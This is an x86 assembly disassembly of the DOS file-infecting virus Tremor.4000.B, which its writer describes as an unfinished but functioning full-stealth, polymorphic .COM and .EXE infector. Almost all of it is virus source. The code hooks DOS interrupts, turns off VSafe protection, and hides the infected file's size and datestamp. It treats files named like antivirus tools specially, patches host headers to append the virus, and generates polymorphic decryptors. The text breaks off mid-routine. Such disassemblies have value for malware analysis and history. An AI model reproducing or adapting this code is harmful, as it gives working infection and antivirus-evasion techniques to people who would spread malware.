;============================================================================ ; ; Tremor.4000.B ; ; Unfinished disassembly, I lost interest in it... ; ; ; TYPE: Full-stealth slow-polymorphic .COM & .EXE-infector. ; DATE: Aug-1998 - Feb-1999. ; ; ; - Full-stealth (network compatible). ; - Uses UMBs & XMS. ; - Tunneling on INT 21h. ; - Retro-abilities. ; - Disables stealth on execution archivers. ; - Highly slow-polymorphic (lame garbage though). ; ; ; This virus truely is one of the most interesting things I ever took a ; look at, see yourself. ; ; I may have made a mistake somewhere in the disassembly-process, F-Prot ; detects it as an unknown variant of Tremor instead of Tremor.B what it ; used to be. Well it functions correctly, maybe it's just because of all ; the self-modifying code... ; ; -T2/IR- ;============================================================================ .MODEL TINY .STACK 1024 .CODE Virus_Size EQU 4000 Virus_Size_Mem EQU 4288 / 16 Century EQU 100 SHL 1 Min_Size_Infect EQU 8000 COM_Type EQU 1 EXE_Type EQU 0 DATA_75E EQU 1097H DATA_76E EQU 1098H ;* DATA_83E EQU 139H ;* ;---------------------------------------------------------------------------- Busy DB 0, 0 DW 0 DB 0 NewInt21h: DW 10 DUP (0) DB 0 DB 0 DB 15 DUP (0) DB 0 DB 35 DUP (0) Klos1: db 0 DW 0, 0 NewInt15h: DB 0 DW 0, 0 DB 42 DUP (0) root: DW 0, 0 Old_Int21h DW 0, 0 DW 0, 0 Int24h DW 0, 0 Our_Int21h DW 0, 0 i21h DW 0, 0 Int15h DW 0, 0 Our_Int15h DW 0, 0 New_DTA DW 10 DUP(0) DB 0, 0, 0, 0, 0 DB 0 DB 0, 0 DW 0 DW 0 DW 0 DB 9 DUP (0) Virus_Begin: ; This is the place where the polymorphic decryptors are being build-up. DB 33 DUP(90h) NOP DB 0E9H,0E5H, 0BH Init_Exit: CALL Restore_Regs JMP_JMP_i21h: JMP JMP_Int21h NewInt: CMP BYTE PTR CS:XMS_Driver, 1 JE JMP_JMP_i21h ; Save all registers. MOV CS:Old_SI, SI MOV SI, OFFSET Old_SI MOV CS:[SI-(Old_SI-Old_DS)], DS PUSH CS POP DS MOV [SI-(Old_SI-Old_AX)], AX MOV [SI-(Old_SI-Old_BX)], BX MOV [SI-(Old_SI-Old_CX)], CX MOV [SI-(Old_SI-Old_DX)], DX MOV [SI+(Old_DI-Old_SI)], DI MOV [SI+(Old_BP-Old_SI)], BP MOV [SI-(Old_SI-Old_ES)], ES CMP BYTE PTR [SI+((Mem_Mark_2+1)-Old_SI)], 1 JMP Skip_Tremors Opcode_1 = BYTE PTR $-2 ; JMP opcode. ADD AL, AH ; Get "random" value in AL. AND AL, 00001111b ; 0 - 15. ADD AH, AL ; "Random" adjust high byte. AND AH, 00001111b ; 0 - 15. PUSH AX MOV DX, 3DAh ; Get CGA status-register. IN AL, DX POP BX ; BX = random two bytes 0-15. MOV AL, 08h MOV AH, BL MOV DL, 0D4h ; DX=03D4h. OUT DX, AX ; port 3D4H, CGA/EGA reg index ; al = 8, interlace & skew MOV DL, 0C0h ; DX=03C0h. MOV AL, 33h OUT DX, AL ; port 3C0H, EGA attributes MOV AL, BH OUT DX, AL ; port 3C0H, EGA attributes CALL Restore_Regs PUSH AX XOR CX, CX MOV AL, 0B6h OUT 43h, AL ; port 43H, 8253 timer control MOV CL, AH SHL AL, 1 SHL CX, 1 ; Random MUL 2. IN AL,61H ; port 61H, 8255 port B, read PUSH AX OR AL,3 OUT 61H,AL ; port 61H, 8255 B - spkr, etc Waste_Time: LOOP Waste_Time POP AX OUT 61h, AL ; port 61H, 8255 B - spkr, etc POP AX Skip_Tremors: CMP AH, 57h ; Get/set filedate & time. JE Init_Entry CMP AH, 42h ; Seek (handle). JE Init_Entry CMP AH, 3Fh ; Read file (handle). JE LOC_11 Databyte_4 = BYTE PTR $-1 CMP AH, 50h ; Set PSP-segment. JB LOC_8 CMP AH, 6Ch ; Extended open. JB LOC_11 LOC_8: CMP AH, 30h ; Get DOS-version. JNE LOC_9 Check_H_Read: CMP BL, 04h ; Filehandle? JA Init_Entry LOC_9: CMP AH, 3Ch ; Create/truncate file? JA LOC_10 CMP AH, 12h ; Findnext (FCB) ? JA LOC_11 LOC_10: CMP AH, 0Eh ; Change drive? JA Init_Entry LOC_11: JMP Init_Exit Init_Entry: XOR BX, BX ; Switch-off all VSafe CALL Call_VSafe ; protections. MOV CS:VSafe_Flags, CL ; Save previous flags. MOV AL, EXE_Type ; Initialize candidate-file CALL Set_Host_Type ; as .EXE-type. MOV AL, 15h ; Save address INT 15h. MOV DI, OFFSET Our_Int15h CALL Save_Int MOV DI, OFFSET Int15h ; Restore original INT 15h. CALL Set_Int MOV AL, 21h ; Save address INT 21h. MOV DI, OFFSET Our_Int21h CALL Save_Int MOV DI, OFFSET Old_Int21h ; Restore original INT 21h. CALL Set_Int MOV AL, 24h ; Save address INT 24h. MOV DI, OFFSET Int24h CALL Save_Int MOV DX, OFFSET NewInt24h ; Install our dummy error- PUSH CS ; handler. POP DS CALL Hook_Int CALL Restore_Regs ; Restore registers. CMP AH, 3Fh ; Read? JE Check_CX_Zero JMP Check_Seek_EOF ; Else continue check. Check_CX_Zero: JCXZ Chk_4_Res_Chk ; Skip dummy-reads. MOV AX, 5700h ; Get filedate & time. CALL OldInt21h JC Chk_4_Res_Chk CMP DH, Century - 1 ; Infected datestamp? JA Infected_Date Chk_4_Res_Chk: JMP JMP_Res_Check Infected_Date: CALL Get_Encr_Header_H ; Read encrypted header JC Chk_4_Res_Chk ; of the candidate-file. CALL Check_Infected ; File is infected? JNZ Chk_4_Res_Chk ; Nope, then abort. CALL Restore_All ; Restore regs/INTs. MOV BX, CS:Old_Pos_Lo ; DX:BX = fileposition. MOV DX, CS:Old_Pos_Hi CALL Check_File_Pos ; Start read is in virusbody? JA Read_0_Bytes ADD BX, CX ; Calculate fileposition ADC DX, 0 ; after the read. CALL Check_File_Pos ; Read reaches virusbody? JBE Preserve_CX SUB BX, CS:Buffer.Host_Size ; Don't let 'em reach SUB BX, CX ; the virusbody. NEG BX PUSH BX JMP LOC_18 Read_0_Bytes: XOR CX, CX Preserve_CX: PUSH CX LOC_18: CALL Restore_Regs POP CX CALL OldInt21h ; Do stealthed read. JC JMP_Restore_CX PUSHF PUSH AX PUSH SI PUSH DI PUSH DS PUSH ES PUSH DS ; ES=DS. POP ES PUSH CS ; DS=CS. POP DS MOV DI, OFFSET Old_Pos_Lo CMP WORD PTR [DI+(Old_Pos_Hi-Old_Pos_Lo)], 0 ; 1st 64k ? JA Exit_Stealth_R CMP WORD PTR [DI], 24 ; Read was in header? JNB Exit_Stealth_R MOV AX, [DI] ; Position in header. MOV DI, DX ; DI = readbuffer. MOV SI, AX ; Offset in decrypted clean ADD SI, OFFSET Buffer ; header in our buffer. CMP CX, 24 JB ReRead_Header SUB AX, 24 NEG AX XCHG CX, AX ReRead_Header: CLD ; Copy clean header into REP MOVSB ; caller's readbuffer. Exit_Stealth_R: POP ES ; Restore changed registers. POP DS POP DI POP SI POP AX POPF JMP_Restore_CX: JMP Restore_CX Check_Seek_EOF: CMP AX, 4202h ; Fileseek to EOF ? JNE Mem_Stealth_Sw MOV AX, 5700h ; Get filedate & time. CALL OldInt21h JNC Check_Filedate JMP_Res_Check: JMP Chk_Res_Check Check_Filedate: CMP DH, Century ; Infected datestamp? JB JMP_Res_Check CALL Get_Encr_Header_H JC JMP_Res_Check CALL Check_Infected ; This file is infected? JNZ JMP_Res_Check ; No? then abort stealth. CALL Restore_All PUSHF SUB DX, Virus_Size ; Don't let 'em reach the SBB CX, 0 ; virusbody. POPF CALL OldInt21h ; Do the stealthed seek. Restore_CX: MOV CX, CS:Old_CX ; Restore changed CX. JMP JMP_Do_RETF2 Mem_Stealth_Sw: JMP FindF_H_JMP Opcode_4 = BYTE PTR $-1 CMP AH, 4Ah ; Resize memory block. JE Stealth_Mem CMP AH, 48h ; Allocate memory. JNE FindF_H_JMP Stealth_Mem: CALL Restore_All CALL OldInt21h ; Execute memory stuff. JNC JMP_Do_RETF2 CMP AL, 08h ; Not enough memory? JNE JMP_Do_RETF2 SUB BX, Virus_Size_Mem ; Subtract memorysize of STC ; virus. JMP_Do_RETF2: JMP Do_RETF2 FindF_H_JMP: JMP $+2 Databyte_2 = BYTE PTR $-1 CMP AH, 4Eh ; Findfirst (handle). JB Chk_4_Find_F CMP AH, 4Fh ; Findnext (handle). JA Chk_4_Find_F CALL OldInt21h ; Execute function. PUSHF PUSH AX JC Rest_All_Find ; Abort when error occurred. CALL Get_DTA CMP BYTE PTR ES:[BX.Handle_Date+1], AL JB Rest_All_Find ; Else not infected. ; Restore original filedate. SUB BYTE PTR ES:[BX.Handle_Date+1], AL MOV SI, 26 ; Handle_Size Chk_Size_Find: CMP BYTE PTR ES:[BX+SI+2], 00h JNZ Rip_Size_Find CMP ES:[BX+SI], (1024 * 8) ; File not too small? JB Rest_All_Find ; Hide the virussize from the DTA. Rip_Size_Find: SUB WORD PTR ES:[BX+SI], Virus_Size SBB WORD PTR ES:[BX+SI+2], 0 Rest_All_Find: CALL Restore_All POP AX Do_POPF_RETF2: POPF Do_RETF2: RETF 2 Chk_4_Find_F: CMP AH, 11h ; Findfirst (FCB). JB Chk_Ext_Open CMP AH, 12h ; Findnext (FCB). JA Chk_Ext_Open CALL OldInt21h ; Execute function. PUSHF PUSH AX CMP AL, 0FFh ; Error occurred? JE Rest_All_Find CALL Get_DTA CMP ES:[BX.FCB_Drive], -1 ; Extended FCB ? JNE LOC_36 ADD BX, 7 ; Skip extended stuff. LOC_36: CMP BYTE PTR ES:[BX.FCB_Date+1], AL ; Infected date? JB Rest_All_Find SUB BYTE PTR ES:[BX.FCB_Date+1], AL ; Restore original filedate. MOV SI, OFFSET FCB_Size JMP Chk_Size_Find Chk_Ext_Open: CMP AH, 6Ch ; Extended open. JNE Chk_Open MOV DX, SI ; Set correct registers. JMP Adjust_Mark Chk_Open: CMP AH, 3Dh ; Open (handle). JNE LOC_41 Adjust_Mark: INC CS:Mem_Mark_2 CMP AL, 02h ; Read/write access only? JNE LOC_41 LOC_40: CALL Init_Inf_Open JMP LOC_48 LOC_41: CMP AH, 3Eh ; Close (handle). JNE LOC_43 CALL OldInt21h ; Execute close. PUSHF PUSH AX JC JMP_Rest_All_F ; Error? CALL Get_Marker CMP BL, AL JNE JMP_Rest_All_F CALL Set_Marker PUSH CS POP DS MOV DX, 02h CALL SUB_23 JMP_Rest_All_F: JMP Rest_All_Find LOC_43: CMP AH, 57h ; Get/set file-attributes. JNE LOC_47 CMP AL, 01h ; Set filedate & time? JE Chk_Filedate_A CALL Restore_All CALL OldInt21h ; Execute function. PUSHF JC Exit_Stealth_Date CMP DH, Century ; Infected datestamp? JB Exit_Stealth_Date SUB DH, Century ; Restore original datestamp. Exit_Stealth_Date: JMP Do_POPF_RETF2 Chk_Filedate_A: CMP DH, Century ; Infected date? JB Skip_Rest_Date ; Restore original date. SUB BYTE PTR CS:Old_DX, Century Skip_Rest_Date: CALL Get_Encr_Header_H JC LOC_48 CALL Seek_BOF CALL Check_Infect JC LOC_48 CALL Restore_File_Pos CALL Restore_All ADD DH, Century CALL OldInt21h PUSHF SUB DH, Century JMP Exit_Stealth_Date LOC_47: CALL Init_Res_Check CMP AH, 4Ch ; Program terminate. JNE Chk_Load_Exec MOV CS:Databyte_2, 0 MOV CS:Databyte_4, (Check_H_Read - Databyte_4) - 1 LOC_48: JMP LOC_54 Chk_Load_Exec: CMP AH, 4Bh ; Program load/execute? JE LOC_50 JMP LOC_59 LOC_50: CALL Set_Marker CMP AL, 00h ; Program execute. JZ LOC_51 JMP LOC_40 LOC_51: JMP LOC_52 Databyte_3 = BYTE PTR $-1 MOV DX, -Virus_Size_Mem CALL Adjust_Block PUSH CS POP DS MOV Databyte_3, (LOC_52 - Databyte_3) - 1 MOV Opcode_4, (FindF_H_JMP - Opcode_4) - 1 MOV Databyte_2, 0 LOC_52: CALL Restore_Regs CALL Find_Candidate JC LOC_54 CMP BYTE PTR CS:New_DTA, 3 JB LOC_54 MOV AX, CS:New_DTA + 1Eh ; Get first word of filename. CMP AX, 'BH' ; HB JE Abort_Inf_Chk CMP AX, 'LC' ; CLEAN.EXE ? JE Abort_Inf_Chk CMP AX, 'CS' ; SCAN.EXE ? JNE LOC_55 Abort_Inf_Chk: CALL Restore_Regs CALL Init_Inf_Open CALL Set_Marker LOC_54: JMP Chk_Res_Check LOC_55: PUSH CS POP ES MOV DI, OFFSET Name_Table MOV CX, 16 / 2 CLD REPNE SCASW JNE Check_4_ARJ CMP AX, 'HC' ; CH(KDSK) ? JNE Do_Mem_Stealth CMP CS:New_DTA+1Eh+2, 'DK' ; (CH)KD(SK) ? JNE Do_Mem_Stealth MOV CS:Databyte_2, (Chk_Ext_Open - Databyte_2) - 1 Do_Mem_Stealth: CALL Hide_Block MOV CS:Databyte_3, 0 Check_4_ARJ: CMP CS:New_DTA+1Eh+1, 'JR' ; ARJ.EXE ? JNE LOC_58 MOV CS:Databyte_4, (LOC_11-Databyte_4) - 1 LOC_58: CALL Restore_Regs JMP LOC_60 LOC_59: CMP AH, 43h ; Get/set file-attributes. JNE Chk_Res_Check OR AL, AL ; Get file-attributes? JNZ LOC_61 CMP BX, 0FACEh ; Virus' infect request? JNE Chk_Res_Check LOC_60: CALL Check_Extension JNE LOC_61 MOV AL, COM_Type CALL Set_Host_Type LOC_61: CALL Restore_Regs CALL SUB_23 Chk_Res_Check: CALL Restore_All CMP CS:Residency_Check, AX JNE JMP_Int21h MOV AX, CS:Mem_Mark_2 Mem_Marker_Offs = WORD PTR $-2 IRET JMP_Int21h: JMP DWORD PTR CS:Old_Int21h ; CS:DI = storage address. Save_Int: MOV AH, 35h ; Get address INT. CALL OldInt21h MOV CS:[DI], BX MOV CS:[DI+2], ES RETN Restore_Ints: MOV AL, 15h ; Restore hooked INT 15h. MOV DI, OFFSET Our_Int15h CALL Set_Int MOV AL, 21h MOV DI, OFFSET Our_Int21h CALL Set_Int MOV BL, 00001001b ; Restore VSafe flags. VSafe_Flags = BYTE PTR $-1 CALL Call_VSafe MOV AL, 24h MOV DI, OFFSET Int24h Set_Int: MOV DX, CS:[DI] MOV BX, CS:[DI+2] MOV DS, BX Hook_Int: MOV AH, 25h OldInt21h: PUSHF CALL DWORD PTR CS:Old_Int21h RETN Get_DTA: MOV AX, 2F00h + Century JMP OldInt21h Do_File_Attr: MOV AH, 43h JMP OldInt21h File_DateTime: MOV AH, 57h JMP Set_Handle_W Get_Header: MOV CX, -1 ; Go to position of stored MOV DX, -32 ; encrypted header of host. MOV AL, 02h CALL File_Seek Read_Header: MOV AH, 3Fh MOV CX, 32 Set_DX_W: MOV DX, OFFSET Buffer Set_Handle_W: MOV BX, 5 File_Handle = WORD PTR $-2 JMP OldInt21h Write_Header: MOV CX, 24 Write_File: MOV AH, 40h JMP Set_DX_W Init_Open: MOV BP, DX MOV AL, 00h ; Get file-attributes. CALL Do_File_Attr JC LOC_RET_71 MOV CS:File_Attr, CX ; Save file-attributes. TEST CL, 00000011b ; Readonly/hidden? JZ Skip_Del_Attr MOV AL, 01h ; Clear file-attributes. XOR CX, CX CALL Do_File_Attr JC LOC_RET_71 Skip_Del_Attr: MOV AX, 3D92h ; Open file for reads/writes, CALL OldInt21h ; JC LOC_RET_71 MOV CS:File_Handle, AX MOV AL, 00h ; Get filedate & time. CALL File_DateTime MOV CS:File_Date, DX MOV CS:File_Time, CX LOC_RET_71: RETN Get_Encr_Header_H: MOV CS:File_Handle, BX ; Save filehandle. Get_Encr_Header: MOV AL, 01h ; Get current fileposition. CALL Seek_Border JC LOC_73 PUSH AX PUSH DX PUSH DS PUSH CS POP DS MOV Old_Pos_Lo, AX ; Save current fileposition. MOV Old_Pos_Hi, DX CALL Get_Header POP DS POP CX ; CX:DX = fileposition. POP DX JC Abort_Get_Header CMP AX, 32 ; Whole header was read? JNE Abort_Get_Header Go_EOF: MOV AL, 00h ; Go to begin of file. JMP File_Seek Abort_Get_Header: CALL Go_EOF LOC_73: STC RETN Restore_File_Pos: MOV AL, 00h MOV DX, 0000h Old_Pos_Lo = WORD PTR $-2 MOV CX, 0000h Old_Pos_Hi = WORD PTR $-2 Seek_BOF: XOR AX, AX Seek_Border: XOR CX, CX MOV DX, CX File_Seek: MOV AH, 42h JMP Set_Handle_W LOC_75: MOV AL, 01h MOV DX, 0E033h File_Date = WORD PTR $-2 MOV CX, 0BE7Bh File_Time = WORD PTR $-2 CALL File_DateTime MOV AH, 3Eh CALL Set_Handle_W CALL Restore_Regs MOV CX, 32 File_Attr = WORD PTR $-2 MOV AL,1 JMP Do_File_Attr Check_Extension: MOV DI, DX MOV CX, 80 MOV AL, '.' PUSH DS POP ES CLD REPNE SCASB JNE LOC_RET_76 MOV AX, DS:[DI] OR AX, 6060h CMP AX, 'oc' LOC_RET_76: RETN ; ; Returns CF if AV-program is run. SUB_23: CALL Check_FluShot JZ Exit_Infect CALL Init_Open JNC LOC_77 CMP AL, 3 ; Access denied? JA LOC_78 RETN LOC_77: CALL Check_Inf_Date JNB LOC_78 CALL Set_Inf_Date CALL Check_Infect LOC_78: JMP LOC_75 Del_Inf_Date: SUB BYTE PTR CS:File_Date+1, Century Exit_Infect: STC RETN Check_Infect: CALL Check_Infected JZ Exit_Infect PUSH CS POP DS CALL Read_Header JC Del_Inf_Date MOV SI, OFFSET Buffer CALL Comp_Host_COM JNZ Check_EXE CMP [SI.Jump], 0E9h ; Only infect .COM-files JE Check_SP ; which start with a JMP. MOV AL, EXE_Type ; No JMP ? then assume .EXE. CALL Set_Host_Type Check_EXE: CMP [SI.EXE_Mark], 'ZM' ; True .EXE-file? JNE Del_Inf_Date CMP [SI.Reloc_Table], 40h ; File is NE/PE-type? JE Del_Inf_Date Check_SP: MOV AX, [SI.Program_SP] CMP AX, 2F0h JE Del_Inf_Date CMP AX, 510h JB LOC_83 CMP AX, 522h JB Del_Inf_Date LOC_83: CALL Comp_Host_COM JNZ $+2 MOV Host_SP, AX MOV AX, [SI.Program_IP] CALL Comp_Host_COM JNZ Store_Host_IP MOV AX, [SI.Displacement] ; Save word of .COM-file we MOV COM_Host_Word, AX ; are gonna change. MOV AX, 100h ; .COMs always start at 100h. Store_Host_IP: MOV Host_IP, AX ; Store original IP of host. CALL Comp_Host_COM ; Is this a .COM-file? JE Save_File_Size MOV AX, [SI.File_512_Pages] ; Get 512-byte pages of .EXE. CMP AX, (Min_Size_Infect / 512) + 1 JB Del_Inf_Date DEC AX ; Undo page-round. MOV DX, 512 ; Calculate size in bytes. MUL DX ADD AX, [SI.File_Mod_512] ; Plus rest of filesize. ADC DX, 0 PUSH AX ; Save internal filesize PUSH DX ; of .EXE on stack. Save_File_Size: MOV AL, 02h ; Get filesize in DX:AX. CALL Seek_Border MOV [SI.Reloc_Table], AX ; Save original length of MOV [SI.Overlay_Number], DX ; this host. CALL Comp_Host_COM JNE Check_Overlay OR DX, DX ; .COM-file bigger then 64k ? JNZ LOC_86 CMP AH, 0D6h ; .COM-file is too big? JA LOC_86 CMP AH, 32 ; .COM-file is too small? JB LOC_86 MOV DI, AX ; Calculate displacement SUB DI, 3 ; of virusentry. JMP Set_Virus_IP LOC_86: JMP Del_Inf_Date Check_Overlay: POP BP ; BP:DI = internal filesize POP DI ; of .EXE-file. CMP AX, DI ; External size is the same JNE LOC_86 ; as internal? (no overlay). CMP DX, BP ; Also check higher word. JNE LOC_86 CMP DX, 15 JA LOC_86 MOV DI, AX AND DI, 00001111b ; DIV 16. Set_Virus_IP: MOV Displ, DI PUSH DI MOV CL, 4 ; DIV 16 SHR AX, CL ROR DX, CL ADD AX, DX SUB AX, [SI.Header_Size_Mem] PUSH AX PUSH AX PUSH AX ADD AX, DI PUSH AX MOV AH, 2Ah ; Get system date. CALL OldInt21h ADD DH, 3 ; Add 3 months. CMP DH, 13 ; No overflow? JB Store_Trigger SUB DH, 12 ; Else adjust month count. INC CX ; Adjust year. Store_Trigger: MOV Trg_Year, CX ; Store date of activation. MOV Trg_Month_Day, DX MOV AH, 2Ch ; Get system-time. CALL OldInt21h POP AX ADD AX, CX ; Construct a random value. ADD AX, DX NEG AX MOV [SI.Undocumented], 0DEADh MOV [SI.Unused], AX XOR AX, 0DEAFh MOV Key_Poly, AX MOV DS:DATA_76E, AX CALL Shift_Byte MOV New_Virus_IP, AX ; Save new CS:IP for MOV New_Virus_CS, BX ; later use. POP AX SUB AX, BX SUB AX, [SI.Program_CS] MOV Host_CS, AX POP AX SUB AX, BX SUB AX, [SI.Program_SS] MOV Host_SS, AX SHL BX, 1 ; MUL 2 MOV Screwy3, BX CLD PUSH SI PUSH CS POP ES MOV SI, OFFSET Poly_Values MOV DI, SI PUSH SI LODSW ; Get slow random in BX. XCHG BX, AX LODSW XCHG AL, AH ; Hussle a bit with values. XCHG BL, BH XCHG AH, BL XCHG BX, AX STOSW XCHG BX, AX STOSW MOV AH, 2Ch ; Get system-time. CALL OldInt21h MOV BP, CX ; Randomize the shit. ADD BP, DX MOV BX, CX MOV CL, 4 ; BL MUL 16 SHL BL, CL AND DH, 00001111b ; DH = random. OR DH, BL MOV DL, BH SHL DL, CL PUSH DX MOV AH, 2Ah ; Get system-date. CALL OldInt21h ADD BP, DX ; Some more randomization. NEG BP MOV CX, DX POP DX OR DL, AL MOV DI, 0CDH MOV AX, BP ; Get random SP. CALL Shift_Byte MOV New_Virus_SP, AX MOV Screwy7, AX MOV New_Virus_SS, BX MOV BX, Mem_Mark_2 POP SI TEST DL, 00000001b ; Use DS or segment override? JZ LOC_91 MOV AL, 26h ; ES: TEST CH,2 JZ LOC_90 MOV AL, 06h ; PUSH ES STOSB MOV AL, 1Fh ; POP DS LOC_90: STOSB LOC_91: LODSB CALL Gen_Load_Reg LODSB CALL Gen_Load_Reg LODSB CALL Gen_Load_Reg LODSB CALL Gen_Load_Reg TEST DL, 00000001b JNZ LOC_94 TEST BL,15H JNZ LOC_92 MOV AX, 071Eh ; PUSH DS / POP ES STOSW JMP LOC_94 LOC_92: MOV AL, 0F2h ; REPNZ TEST CH, 00000001b JZ LOC_93 INC AX ; REPZ LOC_93: STOSB LOC_94: PUSH DI SUB SI, 4 CALL Comp_Host_COM JE LOC_95 MOV AL, 36h ; SS: STOSB LOC_95: MOV AL, 31h ; XOR MOV MegaHead, AL TEST DH, 40h JZ LOC_96 MOV MegaHead, 1 MOV AL, 29h ; SUB LOC_96: MOV Jerm, AL STOSB MOV AL,1CH TEST DH,2 JZ LOC_97 INC AL LOC_97: TEST CL,3 JZ LOC_98 SUB AL,8 LOC_98: STOSB CALL SUB_33 TEST BL, 00000001b JZ LOC_99 CALL Gen_JMP LOC_99: MOV BYTE PTR DS:DATA_75E,5 CMP CH,0AH JB LOC_100 TEST CL,3 JNZ LOC_100 MOV AX,5F8DH STOSW XOR AX, AX MOV AL, BL OR AL, 40h CBW MOV DS:DATA_76E, AX STOSB JMP LOC_103 LOC_100: MOV AL,81H STOSB MOV AL,0C3H TEST CL,3 JZ LOC_101 DEC AX LOC_101: TEST DL,2 JZ LOC_102 ADD AL,30h MOV BYTE PTR DS:DATA_75E,35H LOC_102: STOSB MOV AX, 1620h Key_Poly = WORD PTR $-2 STOSW LOC_103: TEST BL,1 JNZ LOC_104 CALL Gen_JMP LOC_104: TEST DH,3 JZ LOC_106 CALL SUB_33 MOV AL,83H STOSB MOV AL,0EEH TEST DH,2 JZ LOC_105 INC AX LOC_105: STOSB MOV AL, 0FEh STOSB JMP LOC_108 LOC_106: MOV AL,46H TEST DH,2 JZ LOC_107 INC AX LOC_107: STOSB PUSH AX CALL SUB_33 POP AX STOSB LOC_108: CALL SUB_33 TEST BL,3 JNZ LOC_109 TEST DL,10H JNZ LOC_109 CMP CH,3 JA LOC_109 MOV AL,0E2H JMP LOC_113 LOC_109: MOV AL,49H TEST DL,10H JZ LOC_110 ADD AL,4 LOC_110: TEST BL,3 JZ LOC_111 SUB AL,8 LOC_111: STOSB CALL SUB_33 CMP CH,0AH JB LOC_112 TEST CL,3 JZ LOC_114 LOC_112: TEST DH,3 JNZ LOC_114 TEST DL,2 JZ LOC_114 MOV AL,77H LOC_113: JMP LOC_115 LOC_114: MOV AL, 75h LOC_115: STOSB POP AX DEC AX SUB AX, DI STOSB TEST DI,1 JNZ LOC_117 MOV AL,BL AND AL,7 OR AL,90H CMP AL,94H JNE LOC_116 INC AX LOC_116: STOSB LOC_117: MOV AX, 0EDH SUB AX, DI SHR AX, 1 ADD AX, 7B0H MOV Memoy, AX ADD AX, 0C4H Screwy3 = WORD PTR $-2 TEST BL,3 JZ LOC_118 NEG AX LOC_118: MOV DS:[0000h], AX Ptr_Displ = WORD PTR $-2 MOV AX, DI MOV Gooney, AX ADD AX,6 Displ = WORD PTR $-2 SUB AX,0CDH CALL Comp_Host_COM JNZ LOC_119 ADD AX,103H JMP LOC_120 LOC_119: ADD AX,9D0H Screwy7 = WORD PTR $-2 LOC_120: MOV DS:[0000h], AX Delta_Offset = WORD PTR $-2 MOV AL, 0E9h ; JMP 16-bit. STOSB MOV AX, OFFSET Start - 2 SUB AX, DI STOSW POP SI CALL Decrypt_Header MOV AL,2 CALL Seek_Border CALL $+7B1H JNC LOC_122 LOC_121: POP AX POP AX JMP Del_Inf_Date LOC_122: CMP AX, CX JNE LOC_121 CALL Seek_BOF CALL Decrypt_Header CALL Comp_Host_COM JNZ LOC_123 POP AX POP AX MOV [SI.Displacement], AX JMP LOC_124 LOC_123: POP AX PUSH AX SUB AX, 62h New_Virus_CS = WORD PTR $-2 MOV [SI.Program_CS], AX POP AX SUB AX, 9Dh New_Virus_SS = WORD PTR $-2 MOV [SI.Program_SS], AX POP AX PUSH AX ADD AX, 620H New_Virus_IP = WORD PTR $-2 MOV [SI.Program_IP], AX POP AX ADD AX, 9D0H New_Virus_SP = WORD PTR $-2 ADD AX, 1080H MOV [SI.Program_SP], AX MOV AX, [SI.File_Mod_512] ADD AX, Virus_Size CWD MOV BX, 512 DIV BX ADD [SI.File_512_Pages], AX MOV [SI.File_Mod_512], DX LOC_124: JMP Write_Header Check_Inf_Date: CALL Get_Encr_Header Chk_Inf_Date: MOV AL, BYTE PTR CS:File_Date+1 MOV AH, Century CMP AL, AH RETN Set_Inf_Date: ADD AL, AH MOV BYTE PTR CS:File_Date+1, AL RETN Comp_Host_COM: CMP CS:Host_Type, COM_Type RETN Set_Host_Type: MOV CS:Host_Type, AL RETN ; BX byte Shift_Byte: MOV CL, 4 AND AX, 0000111111110000b MOV BX, AX SHR BX, CL ; BX DIV 16 RETN ; ; ; BP = Random. Gen_Load_Reg: PUSH AX MOV AH, BL AND AH, 3 CMP AL, AH ; Add a garbage instruction? JNE Skip_Garbage TEST DL, 00000001b ; Use segment override? JZ Use_AND MOV AL, 85h ; TEST AX, AX JMP Store_Oper_AX Use_AND: MOV AL, 23h ; AND AX, AX TEST CL,2 JZ Store_Oper_AX MOV AL, 0Bh ; OR AX, AX Store_Oper_AX: MOV AH, 0C0h ; Operand AX, AX STOSB MOV AL, BL ; Get random. AND AL, 07h ; 0 - 7. ADD AL, AH STOSB Skip_Garbage: POP AX CMP AL, 03h JE LOC_RET_136 CMP AL, 02h JE LOC_133 CMP AL, 01h JE Load_Ptr_Reg CALL Comp_Host_COM JZ Use_MOV_DX CMP BL, 06h JA Use_MOV_DX Use_LEA: MOV AL, 8Dh ; LEA reg16, imm16 STOSB MOV AL, 1Eh ; BX TEST CL, 00000011b JZ Store_Opr_LEA MOV AL, 16h ; DX JMP Store_Opr_LEA Use_MOV_DX: MOV AL, 0BBh ; MOV BX, TEST CL, 00000011b JZ Store_Opr_LEA DEC AX ; MOV DX, Store_Opr_LEA: STOSB MOV AX, BP ; Random value. MOV Random_Key, AX STOSW RETN Load_Ptr_Reg: CALL Comp_Host_COM JE LOC_131 CMP BL, 0FCh JB LOC_131 MOV AL, 8Dh ; LEA STOSB MOV AL, 36h TEST DH,2 JZ LOC_132 MOV AL, 3Eh JMP LOC_132 LOC_131: MOV AL, 0BEh ; MOV SI, TEST DH, 2 JZ LOC_132 INC AX ; MOV DI, LOC_132: STOSB MOV Delta_Offset, DI STOSW RETN LOC_133: CALL Comp_Host_COM JE LOC_134 TEST BH,5 JZ LOC_134 MOV AL, 8Dh ; LEA STOSB MOV AL, 0Eh ; CX TEST DL,10H JZ LOC_135 MOV AL, 2Eh ; BP JMP LOC_135 LOC_134: MOV AL, 0B9h ; DI, BX+DI+0000h TEST DL, 00010000b JZ LOC_135 MOV AL, 0BDh ; DI, DI+0000h LOC_135: STOSB MOV Ptr_Displ, DI STOSW LOC_RET_136: RETN Gen_JMP: TEST CH, 00000011b JNZ Exit_Gen_JMP XOR AX, AX MOV AL, BL AND AL, 7 ADD AL, 78h ; JS/JNS/JPE/JPO/ STOSW ; JL/JGE/JLE/JG ? Exit_Gen_JMP: RETN SUB_33: LODSB TEST CH,2 JZ LOC_140 CMP AL,1 JNE LOC_RET_139 MOV AL,0FCH TEST DH,80H JZ LOC_138 DEC AX LOC_138: STOSB LOC_RET_139: RETN LOC_140: CMP AL,3 JNE LOC_RET_139 MOV AL, 90h TEST DH, 80h JZ LOC_141 MOV AL, 2Eh LOC_141: STOSB RETN Find_Candidate: PUSH DX PUSH DS PUSH ES PUSH BX MOV AH, 2Fh ; Get DTA-address. CALL OldInt21h PUSH BX PUSH ES PUSH DS PUSH DX MOV AH, 1Ah ; Set our new DTA-address. PUSH CS POP DS MOV DX, OFFSET New_DTA CALL OldInt21h POP DX POP DS MOV CX, 00100111b MOV AX, 4E00h CALL OldInt21h POP DS POP DX PUSHF MOV AL, BYTE PTR CS:New_DTA.Handle_Date+1 MOV AH, 1Ah ; Restore DTA-address. CALL OldInt21h POPF POP BX POP ES POP DS POP DX RETN Init_Inf_Open: CALL Check_FluShot ; Grandpa is in 